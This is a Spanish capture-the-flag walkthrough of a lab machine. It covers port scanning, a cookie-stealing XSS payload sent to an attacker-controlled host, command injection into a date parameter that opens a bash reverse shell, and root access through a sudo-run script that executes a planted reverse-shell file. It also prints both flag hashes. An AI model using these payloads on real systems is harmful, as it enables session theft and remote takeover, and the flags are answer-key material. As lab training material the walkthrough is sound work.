Escaneo de puertos

```
nmap -p- --min-rate 5000 -sV <IP>
```

Puerto 5000

Cuando intentas hacer un ataque de XSS aparece lo siguiente...

```
Hacking Attempt Detected

Your IP address has been flagged, a report with your browser information has been
sent to the administrators for investigation.

Client Request Information:

Method: POST
URL: http://10.10.11.8:5000/support
Headers: Host: 10.10.11.8:5000
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.11.8:5000/support
Content-Type: application/x-www-form-urlencoded
Content-Length: 243
Origin: http://10.10.11.8:5000
Dnt: 1
Connection: close
Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs
Upgrade-Insecure-Requests: 1
```

Sabiendo que es vulnerable al XSS, con BurpSuit enviamos una peticion en algunos de los parametros que aparecen en la petcicion en mi caso "Accept-Encoding" lo cambio por lo siguiente...

```
<script>img = new Image(); img.src = "http://<IP>/a.php?"+document.cookie;</script>
```

Estando a la escucha con nuestro python:

```
sudo python3 -m http.server 80
```

Y cuando enviemos la peticion, reciviremos...

```
10.10.11.8 - - [07/May/2024 21:25:22] code 404, message File not found
10.10.11.8 - - [07/May/2024 21:25:22] "GET
/a.php?is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0 HTTP/1.1" 404 -
```

Por lo que tendremos su Cookie, ya que lo que le enviamos el lo envia por lo que se captura la cookie en ese momento y nosotros estando a la escucha lo capturamos...

gobuster

```
gobuster dir -u <IP> -w <WORDLIST> -t 200
```

Te descubre "/dashboard" y si nos metemos hay con la cookie que tenemos, nos aparecera un panel visible...

Por lo que se ve envia una peticion al servidor por lo que se puede ejecutar comandos de alguna manera, si nos vamos al BurpSuit y capturamos la peticion de la pagina, donde aparece la fecha, podemos enlazarlo con otro comando, para ello nos haremos una "reverse shell"

```
date=2023-09-02; bash -c 'sh+-i+>%26+/dev/tcp/<IP>/<PORT>+0>%261'

nc -lvnp <PORT>
```

Y entrariamos como el usuario "dvir"

En la Home del propio usuario encontraremos la primera flag...

> user.txt (flag1)

```
46efac2d90e74839f9b61fdf92745f27
```

Para tener una shell sanitizada haremos lo siguiente...

Hacer una pseudoconsola:

```
script /dev/null -c bash

# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm

# Para ver las dimensiones de nuestra consola en el Host
stty size

# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
```

Si haces `sudo -l` veras que puedes hacer como sudo sin contraseña el siguiente binario:

```
/usr/bin/syscheck
```

Lo unico que hace este binario es dar informacion del sistema en pequeña medida, pero si intentamos leer el binario veremos lo siguiente...

```
#!/bin/bash

if [ "$EUID" -ne 0 ]; then
  exit 1
fi

last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + |
/usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"

disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"

load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"

if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
```

```
  /usr/bin/echo "Database service is not running. Starting it..."
  ./initdb.sh 2>/dev/null
else
  /usr/bin/echo "Database service is running."
fi

exit 0
```

Veremos que hay un archivo llamado `initdb.sh` que si se encuentra se ejecuta donde ejecutes el binario, al no existir el archivo lo creamos y dentro insertaremos lo siguiente...

```
sh -i >& /dev/tcp/<IP>/<PORT> 0>&1
```

Y estando a la escucha:

```
nc -lvnp <PORT>
```

Ese archivo lo llevamos a /tmp/ y dentro del mismo ejecutamos el binario como sudo para que asi inicie el .sh y nos mande una shell autenticada como root

Una vez siendo root veremos la flag...

> root.txt (flag2)

```
578b3f9666b677f815aa2c0a8f5dfe41
```